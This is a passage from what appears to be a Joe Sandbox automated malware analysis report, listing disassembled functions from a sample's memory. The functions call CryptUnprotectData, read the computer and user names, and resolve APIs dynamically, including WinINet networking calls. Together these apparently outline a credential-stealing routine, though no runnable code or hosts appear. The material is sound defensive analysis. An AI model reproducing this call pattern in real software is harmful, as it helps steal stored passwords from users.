API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b326507405f073cd00e30239d68a05b482545d5a810f71bfdf85aee42390e3d9
Instruction ID: ce6680410ac9ab7e60273cf80baab0afa377b1f841db4ea934cd273def6451f2
Opcode Fuzzy Hash: b326507405f073cd00e30239d68a05b482545d5a810f71bfdf85aee42390e3d9
Instruction Fuzzy Hash: 8A118EB1945218EFEB209B54DC49FA9BB78FB04721F10439AE91A932C0D7749A44CFA1

Function 00D79B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D79B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00D79BA3
LocalFree.KERNEL32(?), ref: 00D79BD3

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: d4aff5edd17d6b2c56e5cb814142c6b5490ea2145713942071eddc4cf7f50386
Instruction ID: e90393fa244a277c2505eb754954ca90bd21124b76170c28955fab39efb7db91
Opcode Fuzzy Hash: d4aff5edd17d6b2c56e5cb814142c6b5490ea2145713942071eddc4cf7f50386
Instruction Fuzzy Hash: 891109B8A00209EFCB04DF94D999AAEB7B5FF89300F104599E915A7350D770AE10CFA1

Function 00D878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87910
RtlAllocateHeap.NTDLL(00000000), ref: 00D87917
GetComputerNameA.KERNEL32(?,00000104), ref: 00D8792F

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: a46b2f32da88dfecdbe636716c10fd88ed8dfbbf83d5c0a46969482dd4d978b5
Instruction ID: 47c45b817c92131a59c0fa72a729837412071c9411aa133f52a1a8b971458d34
Opcode Fuzzy Hash: a46b2f32da88dfecdbe636716c10fd88ed8dfbbf83d5c0a46969482dd4d978b5
Instruction Fuzzy Hash: D30136B1A44209EFC710EF95DD45FAABBB8F704B21F104259F545E3680D77499448FA1

Function 00D87850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D711B7), ref: 00D87880
RtlAllocateHeap.NTDLL(00000000), ref: 00D87887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D8789F

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 0d2d8c757fab5a6949ef272769d9fc834fef9446b25397803d748a7604821294
Instruction ID: 41f74229e6ae56435a2d54a1d104c1a2c7769aea2851ce5adfa9f221460814ed
Opcode Fuzzy Hash: 0d2d8c757fab5a6949ef272769d9fc834fef9446b25397803d748a7604821294
Instruction Fuzzy Hash: 2DF04FB1944208AFC700DF98DD89FAEBBB8EB04711F10025AFA05A2680C77455048FA1

Function 00D71160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00D7116A
ExitProcess.KERNEL32 ref: 00D7117E

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 226f8277eedbf579dc749738bdcc4a82632baba7bdb94b36570c24d5a510099d
Instruction ID: 74761e7f02853770202468219d37b5f7a3c3b5a1e4801ed3f0025e2e83026fe2
Opcode Fuzzy Hash: 226f8277eedbf579dc749738bdcc4a82632baba7bdb94b36570c24d5a510099d
Instruction Fuzzy Hash: 1CD05E7490430CDBCB00DFE4D8896DDBBB8FB08321F100694DD0562340EA315481CAA6

Function 00D89C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,01AF5710), ref: 00D89C2D
GetProcAddress.KERNEL32(77190000,01AF5430), ref: 00D89C45
GetProcAddress.KERNEL32(77190000,01B09010), ref: 00D89C5E
GetProcAddress.KERNEL32(77190000,01B09040), ref: 00D89C76
GetProcAddress.KERNEL32(77190000,01B09058), ref: 00D89C8E
GetProcAddress.KERNEL32(77190000,01B0D598), ref: 00D89CA7
GetProcAddress.KERNEL32(77190000,01AFA580), ref: 00D89CBF
GetProcAddress.KERNEL32(77190000,01B0D4C0), ref: 00D89CD7
GetProcAddress.KERNEL32(77190000,01B0D3E8), ref: 00D89CF0
GetProcAddress.KERNEL32(77190000,01B0D370), ref: 00D89D08
GetProcAddress.KERNEL32(77190000,01B0D5C8), ref: 00D89D20
GetProcAddress.KERNEL32(77190000,01AF5470), ref: 00D89D39
GetProcAddress.KERNEL32(77190000,01AF5490), ref: 00D89D51
GetProcAddress.KERNEL32(77190000,01AF53D0), ref: 00D89D69
GetProcAddress.KERNEL32(77190000,01AF54B0), ref: 00D89D82
GetProcAddress.KERNEL32(77190000,01B0D610), ref: 00D89D9A
GetProcAddress.KERNEL32(77190000,01B0D4A8), ref: 00D89DB2
GetProcAddress.KERNEL32(77190000,01AFA990), ref: 00D89DCB
GetProcAddress.KERNEL32(77190000,01AF53B0), ref: 00D89DE3
GetProcAddress.KERNEL32(77190000,01B0D4F0), ref: 00D89DFB
GetProcAddress.KERNEL32(77190000,01B0D520), ref: 00D89E14
GetProcAddress.KERNEL32(77190000,01B0D538), ref: 00D89E2C
GetProcAddress.KERNEL32(77190000,01B0D448), ref: 00D89E44
GetProcAddress.KERNEL32(77190000,01AF5650), ref: 00D89E5D
GetProcAddress.KERNEL32(77190000,01B0D550), ref: 00D89E75
GetProcAddress.KERNEL32(77190000,01B0D478), ref: 00D89E8D
GetProcAddress.KERNEL32(77190000,01B0D4D8), ref: 00D89EA6
GetProcAddress.KERNEL32(77190000,01B0D580), ref: 00D89EBE
GetProcAddress.KERNEL32(77190000,01B0D5E0), ref: 00D89ED6
GetProcAddress.KERNEL32(77190000,01B0D3B8), ref: 00D89EEF
GetProcAddress.KERNEL32(77190000,01B0D388), ref: 00D89F07
GetProcAddress.KERNEL32(77190000,01B0D460), ref: 00D89F1F
GetProcAddress.KERNEL32(77190000,01B0D400), ref: 00D89F38
GetProcAddress.KERNEL32(77190000,01AFFD80), ref: 00D89F50
GetProcAddress.KERNEL32(77190000,01B0D418), ref: 00D89F68
GetProcAddress.KERNEL32(77190000,01B0D508), ref: 00D89F81
GetProcAddress.KERNEL32(77190000,01AF56B0), ref: 00D89F99
GetProcAddress.KERNEL32(77190000,01B0D5B0), ref: 00D89FB1
GetProcAddress.KERNEL32(77190000,01AF53F0), ref: 00D89FCA
GetProcAddress.KERNEL32(77190000,01B0D490), ref: 00D89FE2
GetProcAddress.KERNEL32(77190000,01B0D568), ref: 00D89FFA
GetProcAddress.KERNEL32(77190000,01AF54D0), ref: 00D8A013
GetProcAddress.KERNEL32(77190000,01AF5530), ref: 00D8A02B
LoadLibraryA.KERNEL32(01B0D5F8,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A03D
LoadLibraryA.KERNEL32(01B0D628,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A04E
LoadLibraryA.KERNEL32(01B0D430,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A060
LoadLibraryA.KERNEL32(01B0D340,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A072
LoadLibraryA.KERNEL32(01B0D358,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A083
LoadLibraryA.KERNEL32(01B0D3A0,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A095
LoadLibraryA.KERNEL32(01B0D3D0,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A0A7
LoadLibraryA.KERNEL32(01B0D748,?,00D85CA3,00D90AEB,?,?,?,?,?,?,?,?,?,?,00D90AEA,00D90AE3), ref: 00D8A0B8
GetProcAddress.KERNEL32(77040000,01AF51F0), ref: 00D8A0DA
GetProcAddress.KERNEL32(77040000,01B0D718), ref: 00D8A0F2
GetProcAddress.KERNEL32(77040000,01B08A70), ref: 00D8A10A
GetProcAddress.KERNEL32(77040000,01B0D730), ref: 00D8A123
GetProcAddress.KERNEL32(77040000,01AF5290), ref: 00D8A13B
GetProcAddress.KERNEL32(704D0000,01AFA710), ref: 00D8A160
GetProcAddress.KERNEL32(704D0000,01AF4F90), ref: 00D8A179
GetProcAddress.KERNEL32(704D0000,01AFA5A8), ref: 00D8A191
GetProcAddress.KERNEL32(704D0000,01B0D658), ref: 00D8A1A9
GetProcAddress.KERNEL32(704D0000,01B0D760), ref: 00D8A1C2
GetProcAddress.KERNEL32(704D0000,01AF5190), ref: 00D8A1DA
GetProcAddress.KERNEL32(704D0000,01AF4FB0), ref: 00D8A1F2
GetProcAddress.KERNEL32(704D0000,01B0D7F0), ref: 00D8A20B
GetProcAddress.KERNEL32(768D0000,01AF5270), ref: 00D8A22C
GetProcAddress.KERNEL32(768D0000,01AF5070), ref: 00D8A244
GetProcAddress.KERNEL32(768D0000,01B0D778), ref: 00D8A25D
GetProcAddress.KERNEL32(768D0000,01B0D790), ref: 00D8A275
GetProcAddress.KERNEL32(768D0000,01AF5170), ref: 00D8A28D
GetProcAddress.KERNEL32(75790000,01AFA6E8), ref: 00D8A2B3
GetProcAddress.KERNEL32(75790000,01AFA4B8), ref: 00D8A2CB
GetProcAddress.KERNEL32(75790000,01B0D6B8), ref: 00D8A2E3
GetProcAddress.KERNEL32(75790000,01AF50B0), ref: 00D8A2FC
GetProcAddress.KERNEL32(75790000,01AF50D0), ref: 00D8A314
GetProcAddress.KERNEL32(75790000,01AFA5F8), ref: 00D8A32C
GetProcAddress.KERNEL32(75A10000,01B0D640), ref: 00D8A352
GetProcAddress.KERNEL32(75A10000,01AF5350), ref: 00D8A36A
GetProcAddress.KERNEL32(75A10000,01B08A80), ref: 00D8A382
GetProcAddress.KERNEL32(75A10000,01B0D7A8), ref: 00D8A39B
GetProcAddress.KERNEL32(75A10000,01B0D7C0), ref: 00D8A3B3
GetProcAddress.KERNEL32(75A10000,01AF51B0), ref: 00D8A3CB
GetProcAddress.KERNEL32(75A10000,01AF51D0), ref: 00D8A3E4
GetProcAddress.KERNEL32(75A10000,01B0D7D8), ref: 00D8A3FC
GetProcAddress.KERNEL32(75A10000,01B0D670), ref: 00D8A414
GetProcAddress.KERNEL32(76850000,01AF50F0), ref: 00D8A436
GetProcAddress.KERNEL32(76850000,01B0D688), ref: 00D8A44E
GetProcAddress.KERNEL32(76850000,01B0D6D0), ref: 00D8A466
GetProcAddress.KERNEL32(76850000,01B0D6A0), ref: 00D8A47F
GetProcAddress.KERNEL32(76850000,01B0D6E8), ref: 00D8A497
GetProcAddress.KERNEL32(75690000,01AF5330), ref: 00D8A4B8
GetProcAddress.KERNEL32(75690000,01AF5210), ref: 00D8A4D1
GetProcAddress.KERNEL32(769C0000,01AF5090), ref: 00D8A4F2
GetProcAddress.KERNEL32(769C0000,01B0D700), ref: 00D8A50A
GetProcAddress.KERNEL32(6F8C0000,01AF5230), ref: 00D8A530
GetProcAddress.KERNEL32(6F8C0000,01AF5110), ref: 00D8A548
GetProcAddress.KERNEL32(6F8C0000,01AF52B0), ref: 00D8A560
GetProcAddress.KERNEL32(6F8C0000,01B0D190), ref: 00D8A579
GetProcAddress.KERNEL32(6F8C0000,01AF52D0), ref: 00D8A591
GetProcAddress.KERNEL32(6F8C0000,01AF5030), ref: 00D8A5A9
GetProcAddress.KERNEL32(6F8C0000,01AF5130), ref: 00D8A5C2
GetProcAddress.KERNEL32(6F8C0000,01AF5370), ref: 00D8A5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 00D8A5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 00D8A607
GetProcAddress.KERNEL32(75D90000,01B0D310), ref: 00D8A629
GetProcAddress.KERNEL32(75D90000,01B08A10), ref: 00D8A641
GetProcAddress.KERNEL32(75D90000,01B0D2C8), ref: 00D8A659
GetProcAddress.KERNEL32(75D90000,01B0D328), ref: 00D8A672
GetProcAddress.KERNEL32(76470000,01AF5150), ref: 00D8A693
GetProcAddress.KERNEL32(6D900000,01B0D058), ref: 00D8A6B4
GetProcAddress.KERNEL32(6D900000,01AF5050), ref: 00D8A6CD
GetProcAddress.KERNEL32(6D900000,01B0D148), ref: 00D8A6E5
GetProcAddress.KERNEL32(6D900000,01B0D100), ref: 00D8A6FD

Strings

HttpQueryInfoA, xrefs: 00D8A5FC
InternetSetOptionA, xrefs: 00D8A5E5

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: a04213a6eaf9c7882e1400a0ba06c4d1cbe250e9e95febf4c7f0e657abd1c9aa
Instruction ID: d322e72a2098ac6bad6bf2f2dce4d370bf0c0f8176d316f75170f7d00ded2337
Opcode Fuzzy Hash: a04213a6eaf9c7882e1400a0ba06c4d1cbe250e9e95febf4c7f0e657abd1c9aa
Instruction Fuzzy Hash: D8621CB5618208AFD354DFA8EDC896637F9F74C301724871AA609C3674DB3A9841FF62

Function 00D77710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D77724
RtlAllocateHeap.NTDLL(00000000), ref: 00D7772B
lstrcat.KERNEL32(?,01B0A7D0), ref: 00D778DB
lstrcat.KERNEL32(?,?), ref: 00D778EF
lstrcat.KERNEL32(?,?), ref: 00D77903
lstrcat.KERNEL32(?,?), ref: 00D77917
lstrcat.KERNEL32(?,01B0EEA0), ref: 00D7792B
lstrcat.KERNEL32(?,01B0EED0), ref: 00D7793F
lstrcat.KERNEL32(?,01B0EF78), ref: 00D77952
lstrcat.KERNEL32(?,01B0EF18), ref: 00D77966
lstrcat.KERNEL32(?,01B0A858), ref: 00D7797A
lstrcat.KERNEL32(?,?), ref: 00D7798E
lstrcat.KERNEL32(?,?), ref: 00D779A2
lstrcat.KERNEL32(?,?), ref: 00D779B6
lstrcat.KERNEL32(?,01B0EEA0), ref: 00D779C9
lstrcat.KERNEL32(?,01B0EED0), ref: 00D779DD
lstrcat.KERNEL32(?,01B0EF78), ref: 00D779F1
lstrcat.KERNEL32(?,01B0EF18), ref: 00D77A04
lstrcat.KERNEL32(?,01B0A8C0), ref: 00D77A18
lstrcat.KERNEL32(?,?), ref: 00D77A2C
lstrcat.KERNEL32(?,?), ref: 00D77A40
lstrcat.KERNEL32(?,?), ref: 00D77A54
lstrcat.KERNEL32(?,01B0EEA0), ref: 00D77A68
lstrcat.KERNEL32(?,01B0EED0), ref: 00D77A7B
lstrcat.KERNEL32(?,01B0EF78), ref: 00D77A8F
lstrcat.KERNEL32(?,01B0EF18), ref: 00D77AA3
lstrcat.KERNEL32(?,01B0F030), ref: 00D77AB6
lstrcat.KERNEL32(?,?), ref: 00D77ACA
lstrcat.KERNEL32(?,?), ref: 00D77ADE
lstrcat.KERNEL32(?,?), ref: 00D77AF2
lstrcat.KERNEL32(?,01B0EEA0), ref: 00D77B06
lstrcat.KERNEL32(?,01B0EED0), ref: 00D77B1A
lstrcat.KERNEL32(?,01B0EF78), ref: 00D77B2D
lstrcat.KERNEL32(?,01B0EF18), ref: 00D77B41
lstrcat.KERNEL32(?,01B0F098), ref: 00D77B55
